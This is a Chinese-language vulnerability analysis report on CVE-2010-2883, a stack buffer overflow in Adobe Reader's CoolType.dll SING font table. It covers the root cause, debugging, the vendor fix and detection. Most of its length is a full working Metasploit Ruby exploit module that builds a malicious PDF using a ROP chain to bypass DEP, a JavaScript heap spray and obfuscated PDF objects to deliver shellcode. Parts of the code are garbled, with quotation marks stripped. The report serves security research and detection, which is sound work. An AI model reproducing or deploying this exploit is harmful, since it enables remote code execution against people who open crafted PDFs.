Adobe Reader 缓冲区溢出漏洞 (CVE-2010-2883)漏洞分析报告

Posted 极安御信安全研究院

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Adobe一. 简介

软件名称:Adobe Reader

影响范围:7.0.0-9.3.4版本

影响平台:Windows

漏洞模块:CoolType.dll

威胁等级:高危

漏洞类型:缓冲区溢出

威胁路径:远程

机密性影响:完全的信息泄露导致所有系统文件暴露

完整性影响:系统完整性可被完全破坏

可用性影响:可能导致系统完全宕机

攻击复杂度:漏洞利用存在一定的访问条件

攻击向量:攻击者不需要获取内网访问权或本地访问权

身份认证:漏洞利用无需身份认证

二. 软件介绍

Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作(通过Adobe Acrobat制作)的PDF文档而不用担心被恶意篡改。

三. 漏洞成因

Adobe Reader的CollType.dll中存在基于栈的缓冲区溢出漏洞,远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务。

具体成因为Adobe Reader在调用strcat时,没有判断uniqueName字段的字符串长度,直接复制到固定大小的栈空间中,导致溢出。

使用IDA pro直接在CoolType.dll寻找SING表,即可直接观察其溢出漏洞的位置:

Adobe

四. 漏洞分析

4.1格式分析

4.1.1 TableEntry结构在官方文档中的定义如下:

1234567

​Typedef struct_SING​​​​​​​​Char tag[​​​​4​​​​];   ​​​​/​​​​/​​​​SING字符串​​​​ULONG checkSum;    ​​​​/​​​​/​​​​校验和​​​​ULONG offset;  ​​​​/​​​​/​​​​相对文件偏移​​​​ULONG length;  ​​​​/​​​​/​​​​数据长度​​​​​

Typedef struct_SING

Char tag[4]; //SING字符串
ULONG checkSum; //校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度

4.1.2 在该样本中,SING表的形态

Char tag[4];    //53 49 4E 47
ULONG checkSum; //D9 BC C8 B5
ULONG offset; //00 00 01 1C
ULONG length; //00 00 1D DF

1234

​Char tag[​​​​4​​​​];    ​​​​/​​​​/​​​​53​​​​49​​​​4E​​​​47​​​​ULONG checkSum; ​​​​/​​​​/​​​​D9 BC C8 B5​​​​ULONG offset;  ​​​​/​​​​/​​​​00​​​​00​​​​01​​​​1C​​​​ULONG length;  ​​​​/​​​​/​​​​00​​​​00​​​​1D​​​​DF​

Adobe

根据上图可以看出,在TableEntry结构入口处偏移0x11c,就是SING表的真实数据,其长度为0x1DDF。然后再偏移0x10就是uniqueName域了。

4.1.3 uniqueName域

在执行strcat函数后,会将SING表的内容部分拷贝至ebp的地址,直到遇到NULL,在我调试时,该地址为0x0012e454,但是该地址并不固定。根据下图,可以看出在exp触发后ebp的地址内所存储的,正是SING表的真实数据。

Adobe

Adobe

4.2 漏洞调试

4.2.1利用IDA pro查看溢出函数的位置

Adobe

4.2.2打开Immunity Debugger附加程序,并且运行至程序领空,转至溢出函数的位置,按下F2设置断点。再用Adobe Reader打开poc.pdf,那么就可以看到程序触发异常停止在了我设置断点的位置上了。

Adobe

4.2.3可以看出在执行完strcat之后,SING表uniqueName域的数据就已经拷贝到了栈中。

Adobe

Adobe

4.2.4 总结一下,如果是xp系统,那么在SING表的uniqueName域内构造shellcode,就可以在触发漏洞后直接执行代码,如果是win7以后的windows版本,则需要rop技术,绕过相关保护.因为PDF支持javascript的缘故,故此,我们可以使用heap spray技术,精准的对溢出进行利用。

五. 厂商修复手段

添加了字符串长度的检测和限制,自己模拟了一个安全strcat函数替代原有的strcat函数,该函数限制字符串长度需要小于260个字符,同时根据字符串长度进行动态内存分配。

六. 检测方法

分析文件格式,在Object中定位到SING表后,根据官方文档提供的格式对其进行解析,判断字符串长度,如果长于官方预定的260字节,则可怀疑其在利用CVE-2010-2883进行溢出。

七. Exploit

使用的exploit由Exploit-db下载,使用ruby编写。

571
##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require msf/core
require zlib

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof

include Msf::Exploit::FILEFORMAT

def initialize(info = )
super(update_info(info,
Name => Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow,
Description => %q
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
assumed to be vulnerable as well.
,
License => MSF_LICENSE,
Author =>
[
Unknown, # 0day found in the wild
@sn0wfl0w, # initial analysis
@vicheck, # initial analysis
jduck # Metasploit module
],
Version => $Revision: 10477 $,
References =>
[
[ CVE, 2010-2883 ],
[ OSVDB, 67849],
[ URL, http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html ],
[ URL, http://www.adobe.com/support/security/advisories/apsa10-02.html ]
],
DefaultOptions =>

EXITFUNC => process,
InitialAutoRunScript => migrate -f,
DisablePayloadHandler => true,
,
Payload =>

Space => 1000,
BadChars => "\\x00",
DisableNops => true
,
Platform => win,
Targets =>
[
# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
# Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
[ Automatic, ],
],
DisclosureDate => Sep 07 2010,
DefaultTarget => 0))

register_options(
[
OptString.new(FILENAME, [ true, The file name., msf.pdf]),
], self.class)
end

def exploit
ttf_data = make_ttf()

js_data = make_js(payload.encoded)

# Create the pdf
pdf = make_pdf(ttf_data, js_data)

print_status("Creating #datastore[FILENAME] file...")

file_create(pdf)
end

def make_ttf
ttf_data = ""

# load the static ttf file

# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = fd.read(fd.stat.size)
fd.close

# Build the SING table
sing =
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack(vvvvvvvv)
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(0x254 - sing.length)

# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack(V)

# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack(V)

# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack(V)

# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack(V)

# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack(V)

ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing

ttf_data
end

def make_js(encoded_payload)

# The following executes a ret2lib using icucnv36.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx

0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as

0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)

# -- call CreateFileA
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)

# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile

# -- call MapViewOfFile
0x4a80b692, # jmp [eax]

0x4a801064, # ret

0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap

0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer

0x4a802196, # mov [ecx],eax / ret - save map base addr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr

0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

0x4a801f90, # pop eax / ret
0x00000034, # becomes eax

0x4a80d585, # add eax,edx / ret

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret

0x4a842db2, # xchg eax,edi / ret

0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify

0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)

# -- call memcpy
0x4a80b692, # jmp [eax]

0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
#0x0000258b, # ??
#0x4d4d4a8a, # ??
].pack(V*)

var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)

var_start = rand_text_alpha(rand(100) + 1)

var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)

payload_buf =
payload_buf << stack_data
payload_buf << encoded_payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

js = %Q|
var #var_unescape = unescape;
var #var_shellcode = #var_unescape( #escaped_payload );
var #var_c = #var_unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#var_c.length + 20 + 8 < #var_s) #var_c+=#var_c;
#var_b = #var_c.substring(0, (0x0c0c-0x24)/2);
#var_b += #var_shellcode;
#var_b += #var_c;
#var_d = #var_b.substring(0, #var_s/2);
while(#var_d.length < 0x80000) #var_d += #var_d;
#var_3 = #var_d.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #var_4 = new Array();
for (#var_i=0;#var_i<0x1f0;#var_i++) #var_4[#var_i]=#var_3+"s";
|

js
end

def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj \\n" % id
end

def ioRef(id)
"%d 0 R" % id
end


#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= A and c.upcase <= Z
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end


def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end


def make_pdf(ttf, js)

#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

xref = []
eol = "\\n"
endobj = "endobj" << eol

# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol

# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(11) << eol
# The AcroForm is required to get icucnv36.dll to load
pdf << nObfu("/AcroForm ") << ioRef(13) << eol
pdf << nObfu(">>") << eol
pdf << endobj

# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj

# media box
xref << pdf.length
pdf << ioDef(3)
pdf << "[0 0 595 842]" << eol
pdf << endobj

# resources
xref << pdf.length
pdf << ioDef(4)
pdf << nObfu("<<") << eol
pdf << nObfu("/Font ") << ioRef(6) << eol
pdf << ">>" << eol
pdf << endobj

# page 1
xref << pdf.length
pdf << ioDef(5) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj

# font
xref << pdf.length
pdf << ioDef(6) << nObfu("<<") << eol
pdf << nObfu("/F1 ") << ioRef(7) << eol
pdf << ">>" << eol
pdf << endobj

# ttf object
xref << pdf.length
pdf << ioDef(7) << nObfu("<<") << eol
pdf << nObfu("/Type /Font") << eol
pdf << nObfu("/Subtype /TrueType") << eol
pdf << nObfu("/Name /F1") << eol
pdf << nObfu("/BaseFont /Cinema") << eol
pdf << nObfu("/Widths []") << eol
pdf << nObfu("/FontDescriptor ") << ioRef(9)
pdf << nObfu("/Encoding /MacRomanEncoding")
pdf << nObfu(">>") << eol
pdf << endobj

# page content
content = "Hello World!"
content = "" +
"0 g" + eol +
"BT" + eol +
"/F1 32 Tf" + eol +
"32 Tc" + eol +
"1 0 0 1 32 773.872 Tm" + eol +
"(" + content + ") Tj" + eol +
"ET"

xref << pdf.length
pdf << ioDef(8) << "<<" << eol
pdf << nObfu("/Length %s" % content.length) << eol
pdf << ">>" << eol
pdf << "stream" << eol
pdf << content << eol
pdf << "endstream" << eol
pdf << endobj

# font descriptor
xref << pdf.length
pdf << ioDef(9) << nObfu("<<")
pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << nObfu("/FontBBox [-177 -269 1123 866]")
pdf << nObfu("/FontFile2 ") << ioRef(10)
pdf << nObfu(">>") << eol
pdf << endobj

# ttf stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ttf)
pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

# js action
xref << pdf.length
pdf << ioDef(11) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
pdf << nObfu(">>") << eol
pdf << endobj

# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

###
# The following form related data is required to get icucnv36.dll to load
###

# form object
xref << pdf.length
pdf << ioDef(13)
pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol
pdf << endobj

# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF

xref << pdf.length
pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj

###
# end form stuff for icucnv36.dll
###


# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end

pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol
pdf
end

end

 关于作者作者:rkvir(榴莲老师)

简介:曾任某安全企业技术总监;看雪讲师;曾任职国内多家大型安全公司;参与*2国家级安全项目

擅长:C/C++/Python/x86/x64汇编/系统原理&

研究方向:二进制漏洞/FUZZ/Windows内核安全/内网攻防

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